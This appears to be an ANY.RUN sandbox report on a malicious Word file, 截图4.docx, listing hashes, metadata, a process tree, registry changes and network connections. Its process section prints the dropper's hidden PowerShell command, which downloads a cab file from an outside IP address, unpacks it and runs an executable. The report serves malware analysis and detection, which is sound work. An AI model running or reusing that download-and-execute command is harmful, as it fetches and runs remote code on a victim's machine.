Malware analysis 截图4.docx Malicious activity | ANY.RUN

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File name:	截图4.docx
Full analysis:	https://app.any.run/tasks/8c59cbb8-522a-4a86-ae20-3596ae0f2222
Verdict:	Malicious activity
Analysis date:	May 24, 2019, 14:58:41
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	ole-embedded
Indicators:
MIME:	application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info:	Microsoft Word 2007+
MD5:	25CCAFF20702C318062741E3AFC00526
SHA1:	EB66C76C1373089A1B2442F50FF3164304FA57F9
SHA256:	0351C808C016CD5190EA45D5243C6A2C6CD3B5FC4E22571E06B948910E5535F9
SSDEEP:	384:aWUBwlVKqj4zorih1j8v55ng/IuveW83CrIQXlzmLp:aQkqjCorih1jingwuL83Crx1zyp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 3328)
- Starts CMD.EXE for commands execution
  - WINWORD.EXE (PID: 3328)
- Executes PowerShell scripts
  - cmd.exe (PID: 3448)
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - cmd.exe (PID: 1640)
- Creates files in the user directory
  - powershell.exe (PID: 2648)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 3328)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 3328)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.docx	\|	Word Microsoft Office Open XML Format document (52.2)
.zip	\|	Open Packaging Conventions container (38.8)
.zip	\|	ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	0x0006
ZipCompression:	Deflated
ZipModifyDate:	1980:01:01 00:00:00
ZipCRC:	0x24886c04
ZipCompressedSize:	373
ZipUncompressedSize:	1460
ZipFileName:	[Content_Types].xml

XMP

Title:	-
Subject:	-
Creator:	Dell_20170514745
Description:	-

XML

Keywords:	-
LastModifiedBy:	Dell_20170514745
RevisionNumber:	2
CreateDate:	2019:05:17 12:21:00Z
ModifyDate:	2019:05:17 12:22:00Z
Template:	Normal.dotm
TotalEditTime:	1 minute
Pages:	1
Words:	14
Characters:	81
Application:	Microsoft Office Word
DocSecurity:	None
Lines:	1
Paragraphs:	1
ScaleCrop:	No
Company:	-
LinksUpToDate:	No
CharactersWithSpaces:	94
SharedDoc:	No
HyperlinksChanged:	No
AppVersion:	16

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1640

cmd /c ""C:\Users\admin\AppData\Local\Temp\info.bat" "

C:\Windows\system32\cmd.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2648

powershell.exe -ep Bypass -NoP -NonI -W Hidden (new-object System.Net.WebClient).DownloadFile('http://137.59.18.154/test.cab','C:\Users\admin\AppData\Local\Temp\\test.cab'); expand 'C:\Users\admin\AppData\Local\Temp\\test.cab' C:\Users\admin\AppData\Local\Temp -f:* ;Start-Process 'C:\Users\admin\AppData\Local\Temp\\config.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3248

"C:\Windows\system32\expand.exe" C:\Users\admin\AppData\Local\Temp\\test.cab C:\Users\admin\AppData\Local\Temp -f:*

C:\Windows\system32\expand.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

LZ Expansion Utility

Exit code:

4294967295

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\expand.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\cabinet.dll

3328

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\截图4.docx"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3448

cmd /c start powershell.exe -ep Bypass -NoP -NonI -W Hidden (new-object System.Net.WebClient).DownloadFile('http://137.59.18.154/test.cab','C:\Users\admin\AppData\Local\Temp\\test.cab'); expand 'C:\Users\admin\AppData\Local\Temp\\test.cab' C:\Users\admin\AppData\Local\Temp -f:* ;Start-Process 'C:\Users\admin\AppData\Local\Temp\\config.exe'

C:\Windows\system32\cmd.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

1 661

Read events

954

Write events

702

Delete events

Modification events


(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	9u>
Value: 39753E00000D0000010000000000000000000000
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1320681502
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1320681616
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1320681617
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 000D0000CE444C3A4112D50100000000
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	/w>
Value: 2F773E00000D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	/w>
Value: 2F773E00000D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3328) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3328	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRED99.tmp.cvr		—
		MD5:—	SHA256:—
2648	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PTM10J93JDIUC287QWHI.temp		—
		MD5:—	SHA256:—
3328	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3328	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\748C2975.emf		emf
		MD5:—	SHA256:—
3328	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$截图4.docx		pgc
		MD5:—	SHA256:—
3328	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\info.bat		text
		MD5:—	SHA256:—
2648	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2648	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF124b0b.TMP		binary
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2648	powershell.exe	GET	404	137.59.18.154:80	http://137.59.18.154/test.cab	HK	html	285 b	suspicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2648	powershell.exe	137.59.18.154:80	—	Xima Network	HK	suspicious

DNS requests

No data

Threats

No threats detected

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No debug info

General Info

截图4.docx

25CCAFF20702C318062741E3AFC00526

EB66C76C1373089A1B2442F50FF3164304FA57F9

0351C808C016CD5190EA45D5243C6A2C6CD3B5FC4E22571E06B948910E5535F9

384:aWUBwlVKqj4zorih1j8v55ng/IuveW83CrIQXlzmLp:aQkqjCorih1jingwuL83Crx1zyp

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Starts CMD.EXE for commands execution

Executes PowerShell scripts

SUSPICIOUS

Starts CMD.EXE for commands execution

Creates files in the user directory

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

ZIP

XMP

XML

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings